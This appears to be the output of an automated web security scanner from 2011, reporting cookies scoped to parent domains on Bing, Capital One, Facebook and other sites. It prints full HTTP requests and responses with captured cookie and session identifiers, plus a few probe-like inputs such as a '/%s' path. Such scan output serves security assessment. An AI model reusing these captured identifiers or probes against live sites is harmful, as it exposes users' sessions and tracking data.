GET /shopping/televisions/c/4724?q=flat+screen+tv&vw=gr&FORM=SHOPH1&crea=020111TVs HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=105E83DD783E4EBF96A309947C7C28C6; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/valentines-day-gift-ideas/r/144 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:00 GMT Connection: close Set-Cookie: _SS=SID=3E69B16A4036442C8750E36A24D9491D; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:00 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/womens-workout-clothing/r/146?FORM=SHOPH1&crea=020111workoutwear HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=80438C118EA246A18DDC72E701D38668; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/content/search?q=Indoor+Water+Parks%3a+Wilderness+Territory+Waterpark+Resort&cid=msntab1176403&FORM=TRVCON HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/deals/cheap-flights-to-las-vegas.do?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:51 GMT Connection: close Set-Cookie: _SS=SID=AF7DBFF440CB4C92B41FAE4F6A61250D; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:51 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/destinations/orlando-florida-hotels-hostels-motels-1004643?qpvt=orlando+hotels&q=orlando+hotels&cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:52 GMT Connection: close Set-Cookie: _SS=SID=27FE84C2DCDE46E1930C9C9FE31D1EA9; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:52 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/hotels?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:43:53 GMT Connection: close Set-Cookie: _SS=SID=5FF4597C29944F46AD1E896475146096; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:53 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/browse?from=en-us_msnhp HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: http://www.bing.com/videos/browse P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:38:48 GMT Connection: close Set-Cookie: VIDSCHUSR=CLICKMODE=0&VMUTE=0&PARTNER=0; expires=Thu, 31-Jan-2013 15:38:48 GMT; domain=.bing.com; path=/videos Set-Cookie: _HOP=I=1&TS=1296574728; domain=.bing.com; path=/ Set-Cookie: _SS=SID=7F4016131B0E4D14A29A3BCD60BA716F; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:48 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/earthquake-proof-bridge/pfu8x7j?q=Bridge&rel=msn&from=en-us_msnhp&form=msnrll>1=42006 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/ice-cube-talks-tv-film-and-music/6vztnpj?q=are+we+there+yet&rel=msn&from=en-us_msnhp&form=MSNRLL>1=42007 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/jay-mohr-part-1/17wj9ueo7?q=Justin+Bieber&rel=msn&from=en-us_msnhp&form=MSNRLL>1=42008 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/rio-exclusive-films-first-two-minutes/5eq4owv?form=ETMONA&from=en-us_msnhp HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/watch/video/the-roommate-exclusive-clip-just-doing-my-job/5tbba1k HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /creditcards/orbitz/index.php?external_id=WWW_ZZORBZ_BNUSCD_QS_FB_11_ZZ_ZZ_PARTNER\ HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:44:26 GMT Server: Apache Set-Cookie: v1st=CB900D89605E0146; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.capitalone.com Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: itc=CAPITALONE11NZZZintmktgD4; expires=Sun, 03-Apr-2011 15:44:26 GMT; path=/; domain=.capitalone.com Set-Cookie: external_id=WWW_ZZORBZ_BNUSCD_QS_FB_11_ZZ_ZZ_PARTNER%5C%5C; path=/; domain=.capitalone.com Set-Cookie: caponecc=channel%3DUNS%2A20090715%3Atestgroup%3Dtg11%2A20110113; path=/; domain=.capitalone.com Set-Cookie: caponesn=f5b8a110S04syM9LTU6OK7YyMrNSCvULtjIyMLA0MDc01S1JNzTUNTIwNAQiYyXrOENTY3NjAA%3D%3D; expires=Wed, 01-Jan-2020 00:00:00 GMT; path=/; domain=.capitalone.com Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=utf-8 Set-Cookie: BIGipServerpl_capitalone.com_80=795419914.29215.0000; path=/ Content-Length: 21899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.cheaptickets.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=41A0C8377E063EDF9406ACA3829AA4EF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: anon=6141560721296661466911; Domain=.cheaptickets.com; Expires=Tue, 28-Jan-2031 15:44:26 GMT; Path=/ Set-Cookie: OrbitzRegistration="N,0,0,0"; Domain=.cheaptickets.com; Expires=Tue, 28-Jan-2031 15:44:26 GMT; Path=/ Set-Cookie: BetaGroup="02/02/2011 09:44:26|A|A|N|C|N|H|B|P|N"; Domain=.cheaptickets.com; Expires=Wed, 16-Feb-2011 15:44:26 GMT; Path=/ Set-Cookie: logging=41A0C8377E063EDF9406ACA3829AA4EF|egapp12p|; Domain=.cheaptickets.com; Path=/ P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: text/html Date: Wed, 02 Feb 2011 15:44:26 GMT Set-Cookie: NSC_JOgil22jbs5zdatbqdhwzldyh4ibbdt=ffffffff09e3a73b45525d5f4f58455e445a4a4217b9;path=/ Set-Cookie: NSC_xxx.difbqujdlfut.dpn.80_gxe=ffffffff09e3087845525d5f4f58455e445a4a423660;path=/ Content-Length: 268072
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ehow-writers.html HTTP/1.1 Host: www.demandstudios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:44:39 GMT Server: Microsoft-IIS/6.0 x-server-info: new server Hostname: sjl01wdsweb01 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 X-AspNetMvc-Version: 1.0 Set-Cookie: BIGipServerdemandstudios.com-69.64.153.116-80=613812490.20480.0000; path=/ ; domain=demandstudios.com; path=/ Set-Cookie: ASP.NET_SessionId=rd34yp45uiciisjz3xjl2e45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22419
<!doctype html> <html lang="en-US">
<head> <title>Write for eHow | Demand Media Studios</title> <meta charset="UTF-8"/>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.ehow.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
lsd=J5foX; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.facebook.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=J5foX; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 X-Cnection: close Date: Wed, 02 Feb 2011 21:51:01 GMT Content-Length: 30789
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /MillenniumHotels HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ajax/intl/language_dialog.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
